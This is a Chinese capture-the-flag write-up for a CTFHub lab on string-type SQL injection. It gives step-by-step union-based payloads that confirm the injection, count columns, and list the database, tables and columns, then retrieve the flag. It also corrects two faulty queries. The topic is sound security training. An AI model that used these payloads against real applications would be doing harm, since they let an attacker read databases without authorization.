2025.1.15——二、字符型注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

[step 1:确认为字符型注入](#step 1:确认为字符型注入)

[step 2:查询字段](#step 2:查询字段)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、小结


一、基本操作:整理已知信息,本题为字符型注入

二、解题步骤

step 1:确认为字符型注入

键入:

sql 复制代码
1

键入:1' and 1=2 # 发现报错

键入:1' and 1=1 # 未发现报错

所以确认为字符型注入

step 2:查询字段

sql 复制代码
1' order by 4 #
sql 复制代码
1' order by 2 #

确认字段数为2(省略了试探字段数为3的情况)

step 3:爆数据库名

sql 复制代码
1' and 1=2 union select database(),database() #

得到两个数据库名均为sqli

step 4:爆表名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_name='sqli' #

错误原因:最后部分应该是 table_schema 而不是 table_name。通过指定table_schema='sqli',可以筛选出属于sqli这个数据库的所有表的名称。如果使用table_name,则需要知道具体的表名才能进行查询

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' #

得到表名分别为flag和news

step 5:爆列名

错误示范:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='sqli' and column_schema='flag' #

错误原因:这里的column_schema并不是information_schema.columns表中的有效字段。在information_schema.columns表中,用于指定数据库名的字段是table_schema,而不是column_schema。所以,这个查询中的条件column_schema='flag'是错误的,导致 SQL 语句无法正确执行,从而出现错误。

正确payload:

sql 复制代码
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag' #

step 6:爆具体数据

sql 复制代码
1' and 1=2 union select 1,flag from sqli.flag #

三、小结

与整数型注入流程大致相同,区别 在于需要加上单引号 进行语句闭合,最后还要加上**#**将SQL语句剩余部分注释掉

相关推荐
搬码临时工几秒前
如何把本地服务器变成公网服务器?内网ip网址转换到外网连接访问
运维·服务器·网络·tcp/ip·智能路由器·远程工作·访问公司内网
Clang's Blog3 分钟前
一键搭建 WordPress + MySQL + phpMyAdmin 环境(支持 PHP 版本选择 & 自定义配置)
数据库·mysql·php·wordpr
zzc9217 分钟前
MATLAB仿真生成无线通信网络拓扑推理数据集
开发语言·网络·数据库·人工智能·python·深度学习·matlab
Camellia031115 分钟前
嵌入式学习--江协stm32day5
stm32·嵌入式硬件·学习
a_1571532498619 分钟前
SpringCloud学习笔记-4
笔记·学习·spring cloud
未来之窗软件服务29 分钟前
JAVASCRIPT 前端数据库-V1--仙盟数据库架构-—-—仙盟创梦IDE
数据库·数据库架构·仙盟创梦ide·东方仙盟数据库
LjQ204037 分钟前
网络爬虫一课一得
开发语言·数据库·python·网络爬虫
烙印60141 分钟前
MyBatis原理剖析(二)
java·数据库·mybatis
RestCloud42 分钟前
如何通过ETLCloud实现跨系统数据同步?
数据库·数据仓库·mysql·etl·数据处理·数据同步·集成平台
你是狒狒吗44 分钟前
TM中,return new TransactionManagerImpl(raf, fc);为什么返回是new了一个新的实例
java·开发语言·数据库